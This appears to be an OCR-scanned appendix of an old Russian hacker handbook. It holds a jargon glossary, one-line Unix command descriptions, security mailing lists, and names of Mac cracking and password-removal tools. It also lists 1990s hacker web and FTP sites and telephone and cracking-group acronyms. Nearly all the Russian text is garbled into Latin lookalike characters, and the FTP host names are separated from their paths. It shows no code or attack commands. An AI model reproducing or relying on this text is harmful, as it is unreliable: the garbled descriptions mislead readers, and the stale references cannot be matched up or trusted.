KyaTu — MPOrpaMMUCT — CPEAHUI TPOrpaMMUCT

rape
POUIT — YHUYTOXUTH 6€3BO3BPATHO ((hailyl WIIM IPOrpamMmy).

semi
COMM — TOYKa C 3arsIToi (Ha3BaHUE CUMBOJIA).

shark
IIaK — 3HaK BCTaBKU, «KPHIIIKa» (Ha3BaHWE CMMBOJIA).

sharp

IIam — 3Hak #, mue3 (Ha3BaHME CUMBOJIA).

shriek
IIPUK — BOCKJIMIIATE/IbHBIN 3HaK (Ha3BaHUE CUMBOJIA).

forward slash
dopsan cas11 — Kocast yeprta, Kocas (Ha3BaHME CUMBOJIA).

crufty software
KpadTi coTBIp — 3aymMHOE MpPOrpaMMHOE obecrieueHue (M3JITUIITHE

TepeyCIOKHEHHOE).

cuspy software
Kacmu coGpTBIp — XOAOBBIC IIPOrpaMMbI (XOPOIIIO pabOTaIOIIME U Yac-

TO HEUCIHOJIb3yEMBbIE).

ROM based software

Ap Oy DM 0621131 codTBIp — MporpaMMHbIE CPEACTBA, XPAHSIIUECS

B [13V.

spark

CITaK — TIpsiMast OTKphIBaloIIas KaBbldKa (Ha3BaHWe CHMBOJIA).

spike

CITaifiK — BepTUKaJbHas YepTa (Ha3BaHUE CUMBOJIA).
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splat

CILIST — 3BE3104YKa (Ha3BaHI/Ie CVIMBOJ’Ia).

spot

CITOT — TOYKa (Ha3BaHME CUMBOJIA).

two-spot
Ty-CIIOT — JABO€TOUYME (Ha3BaHME CHMBOJIA).

sguiggle

CKYUIJI — 3HaK ~, TWIbJa (Ha3BaHHE CUMBOJIA).

starvation
CTapBIUIITH — UH(GOPMAIIMOHHBIN TOJIO.

line starve
JIallH CTapB — BO3BpaT CTPOKU, TEPEXO/ Ha MPEAIIECTBYIOIILYIO CTPOKY

(B IPOTUBOMOJIOXXHOCTD ITIEPEBOAY CTPOKM).

blank statement
OJI9HK CT3UTMEHT — ITyCTOI omepaTop.

expression statement
MNKCIPCIITH CTOUTMEHT — OII€PaTOP-BbIPAXKECHHUE.

tail
TOIA — 3amnsTas (Ha3BaHUE CUMBOJIA).

computer trespasser
KOMIIBIOT? TPECIIacC? — KOMMBIOTEPHBIM «B3JIOMIIMK» (3TOYMBIIIUIEH-

HUK, TIBITAIOIIMICS «B3JIOMaTh» 3AlUTY M MOJYYUTh JOCTYI K MH(DOpMaLIMK
B namsitu DBM).

coding tricks
KOYIWH TPUKC — «XUTPbIe» IIPUEMbI KOTUPOBAHUSI (IIPOrpaMM).

twiddle

TBUUT — 3HaK ~, TUJIbaa (Ha3BaHWE CUMBOJIA).
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first-time user
(depcT-TaiiMm 103ep — HOBBII MOJIb30BATEb.

naive user

HEWB [03€p — HEIMOATOTOBJIEHHbIN MMOIb30BaTeNb, MTOJIb30BATENb, HE-
3HaAKOMBI1 ¢ DBM.

novice user
HOBUC 103€p — Ha‘H/IHaIOLLll/l]?l I10JIb30BATECJIb, I1OJIB30BATCIb-HOBNYOK.

real user
pWII 103ep — OOBIYHBIN ITOJIb30BATENb (B OTJIMYME OT XaKepa).

U-turn
I0-TepH — JieBas mpsiMasi CKoOKa (Ha3BaHME CMMBOJIA).

U-turn back
10-TepH 09K — TIpaBasi mpsiMasi CKoOKa (Ha3BaHWe CUMBOJIA).

hack value

X3K BIJIbI0 — TPOTPAMMUCTCKHI TPIOK (OeCIojIe3HbIi, HO Mopaxa-
01U BOOOpaxkeHUeE).

wdadne
YOIH — 3aKpbIBaloIlast Kpyrias ckooka (Ha3BaHHMe CUMBOJIA).

wax
Y3KC — OTKpHIBaIoIIask Kpyrjasi Ckooka (Ha3BaHME CUMBOJIA).

weed

YU — «IIPOIIOJIKA»; «IIPOIaJIbIBaTh» (HapuMep, ¢aiii ¢ Leablo yaaie-
HMST HEHY>KHBIX TaHHBIX).

what
YOT — 3HaK Borpoca (Ha3BaHUE CMBOJIA).

worm
yOpM — TUpe (Ha3BaHWe CUMBOJIA).
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wow
Bay — BOCKJIMLIATEIbHBIN 3HAK (Ha3BaHUE CUMBOJIA).

Atobmble xakepamm KOMAHABI Unix

Hmxe mb1 mpuBoauM KpaTkoe onrcaHue Komana Unix, 6e3 KOTOPBIX
9TO ONEPallMOHHON CUCTEMOM HUKTO ObI HE TT0JIb30BAJIC.

at
Bor YKa3bIBacTe I[CHI)/‘IB.C, Korga BbITIOJTHUTCA KOMaHIa.

batch

BrinmoiHeHYe KOMaHI B IIPOLIECCE 3aTPY3KH.

chmod

DToi KOMaHJIO0M Bbl MOXETE€ M3MEHUThb MOJHOMOYUS (l)aﬁJTOBOFO
J0oCTyIa.

chown
Bbut y aiina oguH X0351MH, a CTaJl APYroii.

cron
DTO IeMOH TaiiMepa, ToOuHee, IeMOH KoMaH 1 batch u at.

crontab

Bbl MoXeTe yKazaTh MPOMEXYTKU BpeMEeHU, B TeUeHUE KOTOPHIX OyIyT
BBITIOJIHEHBI KaK1e-T1M00 KOMaHIbI.

fip

PaboTtaeM ¢ ymaieHHBIM KoMITbloTepoM. [TprHIMaeM Wi TiepechluiaeM
daiiibl.

kill

ITocnaTh HEKOTOPOMY IIPOLIECCY CUTHAJ O KOHIIE PaOOTHI.

loghame
Xouy IMOJyYUTh PEruCTPallMOHHOE UMSL.
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mail
[Tprem nim nepechiika 3JIEKTPOHHBIX COOOILIEHWA.

news
OT00pa3uTk cTaThio U3 KoHGpepeHuu Usenet.

nslookup
IMonyuyuts cBenenus: o6 IP-anpece momeHa.

passwd
Co3naTb/M3MEHUTD MAPOJIb.

ps

ITpocMOTpeTh, KaKKe MPOLECChl B TEKYIIINIT MOMEHT BPeMEHU aKTUBH-

3UPOBAHBI.

pwcheck
DTOI KOMaHIOM BhI MOXETE IPOBepUTh (aiin nmaposneit. [1o ymomua-

HUIO 3TOT (haiisl JIEKUT B KaTayiore /etc/passwd.

rm
CrepeTh (haiiyt MM KaTayor.

sleep
He BbITTONMHSATH KOMaHIy B KOHerTHLIfI IIPOMEKYTOK BPEMCHU.

su
YMeno ucnosib3yst 3Ty KOMaHIy, Xakep MOXET CTaTh IPUBUIETUPOBAH-

HBbIM IT10JIb30BATCJIEM.

telnet
JlocTyIl K yIaJIleHHOMY KOMITbIOTEPY.

umask
Ecnu BBl TOTBKO co3maeTe aiiji, TO 3TO KOMaHIOM BBl MOXETe 3a1aTh

TaK Ha3bIBaeMYI0 MacKy MOJHOMOYMI 3TOro ¢aiina.
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uucp
Konupyem daitsibl u3 ogHoro kommnblotepa Unix B Ipyroi.

uuname
Oto6pa3utk crircok xoctoB UUCP.

uux
Boimonnenue komann Unix Ha yaaJleHHOM KOMIIbIOTEpeE.

who
OT100pa3uTh CIMCOK TEKYIIUX IM0JIb30BaTe/ICH.

whois
[MoayunTts nHGOPMALIMIO O TEKYIIIEM II0JIb30BaTelIC.

write
HepecnaTb 3alMUCKYy TEKYHIEMY ITOJIL30BaTECIIO.

XaKkepcKue CnMcKu pacchbiAKU

Bugtraq
Reflector Address: bugtraqg@fc.net

Registration Address: bugtrag-request@fc.net

Cert Tools
Reflector Address: cert-tools@cert.org

Registration Address: cert-tools-request@cert.org

Computers and Society
Reflector Address: Comp-Soc@limbo.intuitive.com

Registration Address: taylor@limbo.intuitive.com

CPSR Announcement List
Reflector Address: cpsr-announce@cpsr.org
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CPSR — Intellectual Property
Reflector Address: cpsr-int-prop@cpsr.org

CPSR — Internet Library
Reflector Address: cpsr-library@cpsr.org

DefCon Announcement List
Registration Address: Ilepenaiite coobuieHue no aapecy majordo-

mo@fc.net co cTpokoii «subscribe dc-announce»

DefCon Chat List

Registration Address: Ilepenaiite cooOiuieHue no aapecy majordo-

mo@fc.net co crpokoii «subscribe dc-stuff»

Electronic Payment
Registration Address: e-payment@cc.bellcore.com

Firewalls
Registration Address: Firewalls@GreatCircle. COM

IDS (Intruder Detection Systems)
Registration Address: Ilepenaiite cooOiieHue mo aapecy majordo-

mo@wyrm.cc.uow.edu.au co CTpoKoii «subscribe ids»

Macintosh Security
Reflector Address: mac-security@eclectic.com

Registration Address: mac-security-request@eclectic.com

NeXT Managers

Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list
Registration Address: pgp-announce-request@lsd.com

B Subject B Your Name ykaxkure <user@host>, a B Body: *ignored*
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KpsakaAku

*
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AfterDarkReader
AtEaseBreak
AtEaseHacker
BlackLibrary
Burn
C&NFatReader
CloakShare
C&NViewer
DFErase
DisEase

Forker
FMProPeeker
Fork Off

Forker
ForkZapper
HexEdit
Incognito
MacNuke
Master Key I1
Master Lock Smith
PassFinder
Personalize Word
ReDugger
Removelt
ResCompare
SuperRes Edit
Killer Cracker
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Killer Crack Mac
MacCrac
MacKrack

Ran Password
Remove Passwords
UnSerialize
WordListMakerv

® 6 ¢ 6 0 o o

Xakepckue cantel WWW

http://www.2600.com

http://all.net:8080
http://alumni.caltech.edu/~dank/isdn
http://aset.rsoc.rockwell.com
http://aset.rsoc.rockwell.com/exhibit.html
http://att.net/dir800
http://ausg.dartmouth.edu/security.html
http://csbh.mhv.net/dcypher/home.html
http://cs.purdue.edu/coast/coast.html
http://csrc.ncsl.nist.gov
http://daemon.apana.org.au/~longi
http://dhp.com/~pluvius
http://everest.cs.ucdavis.edu/Security.html
http://everest.cs.ucdavis.edu/slides/slides.html
http://ftp.tamu.edu/~abr8030/security.html
http://hightop.nrl.navy.mil/potpourri.html
http://hightop.nrl.navy.mil/rainbow.html
http://info.bellcore.com/BETSI/betsi.html

http://infosec.nosc.mil/infosec.html
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http://10pht.com
http://10pht.com/~oblivion/IIRG.html
http://matrix.resnet.upenn.edu/rourke
http://mindlink.jolt.com

http://mls.saic.com
http://motserv.indirect.com
http://naic.nasa.gov/fbi/FBI_homepage.html
http://nasirc.hq.nasa.gov
http://obscura.com/~loki/
http://ophie.hughes.american.edu/~ophie
http://oregano.sl.pitt.edu/index.htm
http://pages.ripco.com:8080/~glr/glr.html
http://the-tech.mit.edu
http://ucs.orst.edu:8001/mintro.html
http://underground.org
http://unixg.ubc.ca:780/~jyee
http://w3.gti.net/safety
http://wintermute.itd.nrl.navy.mil/5544.html

http://wiz.plymouth.edu/~jay/underground.html

http://www.2600.com

http://www.8lgm.org

http://www.aads.net
http://www.alw.nih.gov/WWW/security.html
http://www.aus.xanadu.com:70/1/EFA
http://www.ba.com

http://www.bell.com
http://www.brad.ac.uk/~nasmith/index.html
http://www.bst.bls.com
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http://www.c3.lanl.gov/~mcn
http://www.cam.org/~gagnon
http://www.cert.dfn.de
http://www.cpsr.org/home
http://www.cs.umd.edu/~Igas
http://www.csd.harris.com/secure_info.html
http://www.csl.sri.com
http://www.datafellows.fi
http://www.dct.ac.uk/~misb3cp/2600/faq.txt
http://www.digicash.com/ecash/ecash-home.html
http://www.dnai.com/~gui/index.html
http://www.eecs.nwu.edu/~jmyers/ids/index.html
http://www.eff.org/papers.html
http://www.emap.co.uk/partners/racal-airtech
http://www.ensta.fr/internet/unix/sys_admin
http://www.etext.org/Zines
http://www.fc.net/defcon
http://www.fedworld.gov
http://www.first.org/first
http://www.gbnet.net/kbridge
http://www.ic.gov

http://www.io.org/~excels
http://www.indirect.com/www/johnk
http://www.magi.com/~vektor/linenoiz.html
http://www.mcs.com/~candyman/under.html
http://www.mpr.ca

http://www.net23.com
http://www.netresponse.com:80/zldf
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http://www.nist.gov

http://www.ntt.jp

http://www.pacbell.com
http://www.paranoia.com/astrostar/fringe.html
http://www.paranoia.com/mthreat
http://www.planet.net/onkeld
http://www.primenet.com/~insphrk
http://www.primenet.com/~kludge/haqr.html
http://www.qualcomm.com/cdma/wireless.html
http://www.raptor.com/raptor/raptor.html
http://www.research.att.com
http://www.rsa.com
http://www.satelnet.org/~ccappuc
http://www.seas.upenn.edu/~rourkem
http://www.service.com/cm/uswest/usw1.html
http://www.shore.net/~oz/welcome.html
http://www.spatz.com/pecos/index.html
http://www.spy.org

http://www.sri.com
http://www.telstra.com.au/info/security.html
http://www.tiac.net/triad/philes/jokai.html
http://www.tis.com
http://www.tricon.net/Comm/synapse
http://www.tri.sbc.com
http://www.tufts.edu/~jpagano
http://www.uci.agh.edu.pl/pub/security

http://www.usfca.edu/crackdown/crack.html
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ftp.3com.com
ftp.acns.nwu.edu
ftp.acsu.buffalo.edu
ftp.alantec.com
ftp.armory.com
ftp.armory.com
ftp.auscert.org.au
ftp.cerf.net
ftp.commerce.net
ftp.cs.ruu.nl
ftp.cs.uwm.edu
ftp.csi.forth.gr
ftp.csl.sri.com
ftp.csn.org
ftp.csua.berkeley.edu
ftp.digex.net
ftp.eff.org
ftp.elelab.nsc.co.jp
ftp.fc.net

ftp.fc.net

ftp.fc.net

ftp.fc.net
ftp.funet.fi
ftp.gate.net
ftp.gate.net
ftp.giga.or.at

ftp.greatcircle.com

Xakepckue cantbl FTP

/pub/Orange-Book

/pub

/pub/security & /pub/irc
/pub/tcpr
/pub/user/kmartind
/pub/user/swallow

/pub
/pub/software/unix/security
/pubs/standards/drafts/shttp.txt
/pub/SECURITY
/pub/comp-privacy
/pub/security
/pub/nides

/mpj

/pub/cypherpunks
/pub/access/dunk
/pub/Publications/CuD
/pub/security
/pub/deadkat
/pub/defcon
/pub/defcon/BBEEP
/pub/phrack
/pub/doc/CuD
/pub/users/laura
/pub/users/wakko
/pub/hacker
/pub/firewalls
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ftp.IEunet.ie
ftp.inoc.dl.nec.com
ftp.io.org
ftp.lava.net
ftp.lerc.nasa.gov
ftp.linl.gov
ftp.luth.se
ftp.mcs.anl.gov
ftp.microserve.net
ftp.near.net
ftp.netcom.com
ftp.netcom.com
ftp.netcom.com
ftp.netcom.com
ftp.netcom.com
ftp.netcom.com
ftp.netcom.com
ftp.ocs.mq.edu.au
ftp.ox.ac.uk
ftp.ox.ac.uk
ftp.ox.ac.uk
ftp.paranoia.com
ftp.primenet.com
ftp.primenet.com
ftp.primenet.com
ftp.primus.com
ftp.psy.uq.oz.au
ftp.rahul.net

/pub/security
/pub/security
/pub/users/gmouser
/users/oracle/
/security

/pub
/pub/unix/security
/pub/security
/pPpPp-pop/strata/mac
/security/archives/phrack
/pub/br/bradleym
/pub/da/daemon9
/pub/fi/filbert
/pub/le/lewiz
/pub/va/vandal
/pub/wt/wtech
/pub/zz/zzyzx
/PC/Crypt
/pub/comp/security
/pub/crypto
/pub/wordlists
/pub/toneloc
/users/i/insphrk
/users/k/kludge
/users/s/scuzzy
/pub/security
/pub/DES

/pub/lps
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ftp.std.com
ftp.std.com
ftp.std.com
ftp.std.com
ftp.sunet.se
ftp.sura.net
ftp.tis.com
ftp.tisl.ukans.edu
ftp.uu.net
ftp.uwp.edu
ftp.warwick.ac.uk
ftp.wi.leidenuniv.nl
ftp.win.tue.nl
ftp.winternet.com

ftp.wustl.edu

/archives/alt.locksmithing
/obi/Mischief
/obi/Phracks
/pub/joeshmoe
/pub/network/monitoring
/pub/security

/pub

/pub/security
/doc/literary/obi/Phracks
/pub/dos/romulus/cracks
/pub/cud

/pub/security
/pub/security
/users/nitehwk

/doc/EFF

Xakepckue aKpOHUMbI

TLA
ACL
PIN
TCB
ALRU
AN
ARSB
ATH
BOC
BOR
BOSS
CA
COE
CMC
CNID

Three Letter Acronym

Access Control List

Personal Identification Number
Trusted Computing Base
Automatic Line Record Update
Associated Number

Automated Repair Service Bureau
Abbreviated Trouble History

Bell Operating Company

Basic Output Report

Business Office Servicing System
Cable

Central Office Equipment
Construction Maintenance Center

Calling Number IDentification
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CcO
DDD
ECC
LD
LMOS
MLT
NPA
POTS
RBOC
RSB
SS
TAS
TH
TREAT
LOD
HFC
TNO
ACiD
Cci
FLT
iCE
iNC
NTA
PDX
PE
PSY
QTX

S!'P
TDT
THG
THP
TRSI
UUDW

Central Office

Direct Distance Dialing

Enter Cable Change

Long Distance

Loop Maintenance Operations System
Mechanized Loop Testing
Numbering Plan Area

Plain Old Telephone Service
Regional Bell Operating Company
Repair Service Bureau

Special Service

Telephone Answering Service
Trouble History

Trouble Report Evaluation and Analysis Tool
Legion of Doom

Hell Fire Club

The New Order

Ansi Creators in Demand
Cybercrime International
Fairlight

Insane Creators Enterprise
International Network of Crackers
The Nocturnal Trading Alliance
Paradox

Public Enemy

Psychose

Quartex

Razor (1911)

Supr!se Productions

The Dream Team

The Humble Guys

The Hill People

Tristar Red Sector Inc.

Union of United Death Workers
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